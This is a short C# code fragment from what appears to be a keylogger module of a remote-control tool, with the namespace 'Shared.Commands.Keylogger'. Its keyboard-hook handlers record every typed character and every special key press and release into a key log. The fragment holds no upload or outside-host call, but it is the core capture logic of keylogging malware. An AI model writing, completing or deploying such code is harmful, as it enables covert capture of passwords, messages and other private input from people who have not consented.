private void _keyboardHook_StringUp(object sender, StringDownEventArgs e) { if (e.IsChar) //No key up for chars { return; } var key = (Keys)e.VCode; var specialKey = KeysToSpecialKey(key); var entry = specialKey == 0 ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys)key, false) : new SpecialKey(specialKey, false); _keyLog.WriteSpecialKey(entry); }
private void _keyboardHook_StringDown(object sender, StringDownEventArgs e) { if (e.IsChar) { _keyLog.WriteString(e.Value); } else { var key = (Keys)e.VCode; var specialKey = KeysToSpecialKey(key); var entry = specialKey == 0 ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys)key, true) : new SpecialKey(specialKey, true); _keyLog.WriteSpecialKey(entry); } }
private void _keyProcessing_StringUp(object sender, StringDownEventArgs e) { StringUp?.Invoke(this, e); }